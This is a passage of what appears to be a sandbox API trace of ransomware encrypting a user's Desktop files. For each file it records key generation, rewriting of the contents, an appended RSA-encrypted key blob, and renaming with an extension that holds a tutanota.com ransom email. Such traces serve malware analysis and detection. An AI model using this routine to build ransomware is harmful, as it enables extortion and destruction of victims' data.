pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.059] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.059] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="AI99oOHhhpTtJNH+2Ugw6VdVGQHMTdyFkZV4YM+/GHg2oPwqyYVx2RS40VviFLh+\nWa0gWFOvy3ltUvlvMO2HMeFnFkhSgqQLbF1xLmrxraPjs8EOLjEXX+vUy/ELJ52g\n5xhyobna1y8crnyA4NvlRxryXlToVGU+ees3BQcD3iNfx1uCRfRpUs8SV2Se57en\ntKtFVOc9iMxxOKkKB1pP3o2RQTjx7ruC2jedg/DumE9LpenIJVoY6Al+gJoXAGxB\ncTRlh/oDxmS4pZmfWgPXbyr+AnnhjyyATPOpCwXhRe+gpW9oePb+4SYNF646fyAR\nWHOEVqwqk6hHvxtYeNCNOg==\n", pcchString=0x2e3f9a8) returned 1 [0145.059] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.059] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.059] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.059] CloseHandle (hObject=0x5e4) returned 1 [0145.059] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.059] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\LdMDxx35.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\ldmdxx35.m4a"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\LdMDxx35.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\ldmdxx35.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be580 | out: hHeap=0x570000) returned 1 [0145.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be5d8 | out: hHeap=0x570000) returned 1 [0145.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be528 [0145.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.061] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.061] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\latl2konSd9A.m4a", dwFileAttributes=0x80) returned 1 [0145.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0145.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0145.061] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0145.061] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\latl2konSd9A.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\latl2konsd9a.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.061] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=37298) returned 1 [0145.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x91b2) returned 0x631898 [0145.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x91b2) returned 0x63aa58 [0145.061] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x91b2, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x91b2, lpOverlapped=0x0) returned 1 [0145.062] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-37298, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.062] WriteFile (in: hFile=0x5e4, lpBuffer=0x63aa58*, nNumberOfBytesToWrite=0x91b2, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63aa58*, lpNumberOfBytesWritten=0x2e3f9b4*=0x91b2, lpOverlapped=0x0) returned 1 [0145.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.063] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63aa58 | out: hHeap=0x570000) returned 1 [0145.063] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x91b2 [0145.063] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.063] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.063] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.063] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.064] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.064] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="K3p7fBr2lPPsF6aY+XSrND8CIvK4TjsXzK9jgyhuCjYBJA/JOEqgJlWRdVu2/Dgz\nG6NUGse8529Uucyntnqn462RfEK8MOepT5X3eaGX2zmr+uKhck9VQcDVMwZvPJhb\nmTk1OgCUaa7jOcBSIqaID+mFktmECCFj9EV1UpLjk6A0Sb2FuVj+1bNddrGL37V+\ncrJqjCYYjGrkhHY7JtJM/x0ue0d0KZ0E87v3qp6qq5SWd+Gb+k4z7i6MrG20xYzd\n4adcVi1yX+39H+ENlZrJ1WV+JuTmXkFtVPvf0JXGivgOIxxQDe7lmg164L8KzMCm\nGzjrin0PhLub27PygiGfZA==\n", pcchString=0x2e3f9a8) returned 1 [0145.064] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.064] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.064] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.064] CloseHandle (hObject=0x5e4) returned 1 [0145.064] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.064] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\latl2konSd9A.m4a" (normalized: "c:\\users\\fd1hvy\\desktop\\latl2konsd9a.m4a"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\latl2konSd9A.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\latl2konsd9a.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be528 | out: hHeap=0x570000) returned 1 [0145.065] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be898 | out: hHeap=0x570000) returned 1 [0145.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x6317c8 [0145.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.065] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.065] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\KqwjCn 3Q7SaC_Ku62gF.swf", dwFileAttributes=0x80) returned 1 [0145.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631830 [0145.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0145.066] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631830 | out: hHeap=0x570000) returned 1 [0145.066] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\KqwjCn 3Q7SaC_Ku62gF.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\kqwjcn 3q7sac_ku62gf.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.066] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=1082) returned 1 [0145.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x43a) returned 0x5b5a90 [0145.066] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x43a) returned 0x631898 [0145.066] ReadFile (in: hFile=0x5e4, lpBuffer=0x5b5a90, nNumberOfBytesToRead=0x43a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5b5a90*, lpNumberOfBytesRead=0x2e3f9b4*=0x43a, lpOverlapped=0x0) returned 1 [0145.067] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-1082, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.067] WriteFile (in: hFile=0x5e4, lpBuffer=0x631898*, nNumberOfBytesToWrite=0x43a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesWritten=0x2e3f9b4*=0x43a, lpOverlapped=0x0) returned 1 [0145.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b5a90 | out: hHeap=0x570000) returned 1 [0145.067] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.067] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x43a [0145.067] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.067] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.067] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.067] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.067] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.067] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.067] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="AZRnsyPk16Us9WHqvNao0jSoJYtB8SGhJ37jCrcruHL3rHdFkvaqfHmKXPgaK4Wh\nw/hA6lwoOx9ZcoOjNqawO7kX/+OB/rGv4G6yqj9dxauk45C+bKcPziICxII06Txl\n/0bf7AtgbBa+vkWYh+x3Mc4lRmXc4EkEJsvJ8uDqP/kP+SOmPG0iWI/huSMnQPKG\nkQd/KKiZAJbGY5wqrGNgRMgthyMehKcBA58idbgwYdzoFUUCczfAk6TpwKtkx9uL\nnZvnatoBVOpJnPB+FN/oNSusVQg9p/H5HXNTjYiO4J5fA3jKT7aSqjKtRIxcr8eC\nBwQG8vaZoXQwOIzYEGetQg==\n", pcchString=0x2e3f9a8) returned 1 [0145.067] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.067] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.067] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.068] CloseHandle (hObject=0x5e4) returned 1 [0145.068] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.068] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\KqwjCn 3Q7SaC_Ku62gF.swf" (normalized: "c:\\users\\fd1hvy\\desktop\\kqwjcn 3q7sac_ku62gf.swf"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\KqwjCn 3Q7SaC_Ku62gF.swf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\kqwjcn 3q7sac_ku62gf.swf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.069] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e508 | out: hHeap=0x570000) returned 1 [0145.069] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.069] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\jtx871o2rJ.odt", dwFileAttributes=0x80) returned 1 [0145.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5be268 [0145.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf3d8 [0145.069] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\jtx871o2rJ.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\jtx871o2rj.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.069] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=34673) returned 1 [0145.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8771) returned 0x631898 [0145.069] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8771) returned 0x63a018 [0145.070] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0x8771, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0x8771, lpOverlapped=0x0) returned 1 [0145.070] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-34673, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.070] WriteFile (in: hFile=0x5e4, lpBuffer=0x63a018*, nNumberOfBytesToWrite=0x8771, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63a018*, lpNumberOfBytesWritten=0x2e3f9b4*=0x8771, lpOverlapped=0x0) returned 1 [0145.071] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x8771 [0145.071] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.071] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.071] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.071] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.072] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.072] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.072] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="VHAVI0WxivenJ8SWzm4yj7KiMmMjs3KU2NzfgTsGflGCgFLsf0cmQsWb/Kt6H48K\nwPrIV7kxoZgqv7pugbngC8VbYjYw6QDtuCOTb+rIlYwMPFbFsVHKq1dSji74RIBx\nbPRzmNEBiPJINLlMWlWrzistuIR1tpWnMKueSgxDQH+IsfRHW6XoO/2LdzD/P8BP\n3KwQZF1vVl8aSZRD/XC7JFh0icyR/PAKnMkMh0D12RLP74qPoXaaOxmJCnCapyJR\nI6lQ0akODM381atrPne+5lInCeO3fAg44Qt3l7frKV1/lT5CnpvORa2Vqf1B4/VW\ntovd2l67d/9/lO29PJ8gVw==\n", pcchString=0x2e3f9a8) returned 1 [0145.072] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.072] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.072] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.072] CloseHandle (hObject=0x5e4) returned 1 [0145.072] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.072] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\jtx871o2rJ.odt" (normalized: "c:\\users\\fd1hvy\\desktop\\jtx871o2rj.odt"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\jtx871o2rJ.odt.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\jtx871o2rj.odt.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.078] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0145.078] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.078] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be9f8 | out: hHeap=0x570000) returned 1 [0145.078] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be3c8 | out: hHeap=0x570000) returned 1 [0145.078] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x6311b0 [0145.078] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cccd8 [0145.078] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0145.079] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Desktop\\jR2Fv0O2ExdeRPpH3 jd.wav", dwFileAttributes=0x80) returned 1 [0145.079] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x631350 [0145.079] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e170 [0145.079] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631350 | out: hHeap=0x570000) returned 1 [0145.079] CreateFileW (lpFileName="\\Users\\FD1HVy\\Desktop\\jR2Fv0O2ExdeRPpH3 jd.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\jr2fv0o2exderpph3 jd.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5e4 [0145.079] GetFileSizeEx (in: hFile=0x5e4, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=55672) returned 1 [0145.079] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd978) returned 0x631898 [0145.079] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd978) returned 0x63f218 [0145.079] ReadFile (in: hFile=0x5e4, lpBuffer=0x631898, nNumberOfBytesToRead=0xd978, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x631898*, lpNumberOfBytesRead=0x2e3f9b4*=0xd978, lpOverlapped=0x0) returned 1 [0145.080] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=-55672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0145.080] WriteFile (in: hFile=0x5e4, lpBuffer=0x63f218*, nNumberOfBytesToWrite=0xd978, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x63f218*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd978, lpOverlapped=0x0) returned 1 [0145.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631898 | out: hHeap=0x570000) returned 1 [0145.081] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x63f218 | out: hHeap=0x570000) returned 1 [0145.081] SetFilePointer (in: hFile=0x5e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd978 [0145.081] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.081] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.081] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0145.081] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0145.081] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0145.081] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0145.081] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="SsugeHWskblWeXdzOJgbwoL2JQ/CSz3DaLhzzeR7B0uqkA01BViwFB/955GvAQGj\nELQG/hEcfa0RhQOH8TFr+m8TZ24XnZP89ZWP1CfNs4HDVDUry2TqNPKF1GLoZ73f\nY8uaTeidnghks+tl8RlyqWHqHsIzf3wvQRFS8kyEasYDDX9VHKYkp9kp4Kk/XhU4\nUWBbStBKuc6ZhVRHJ2lgTpUCkB2Kq88Xu4jubVanxbeCLu6Il9wXV+sOuVBfSgw+\nx1Hwc5kvau8CCnCC9GXOEEa0IVZ5EfhKf1Kr/ED4BwtbYERJE8794hX79MyYr/xi\nEP33RJRqAcir4bsjCLvuJA==\n", pcchString=0x2e3f9a8) returned 1 [0145.081] WriteFile (in: hFile=0x5e4, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0145.081] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0145.081] WriteFile (in: hFile=0x5e4, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0145.081] CloseHandle (hObject=0x5e4) returned 1 [0145.082] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0145.082] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Desktop\\jR2Fv0O2ExdeRPpH3 jd.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\jr2fv0o2exderpph3 jd.wav"), lpNewFileName="\\Users\\FD1HVy\\Desktop\\jR2Fv0O2ExdeRPpH3 jd.wav.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\desktop\\jr2fv0o2exderpph3 jd.wav.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0145.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e170 | out: hHeap=0x570000) returned 1 [0145.083] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cccd8 | out: hHeap=0x570000) returned 1 [0145.083] HeapFree (in: 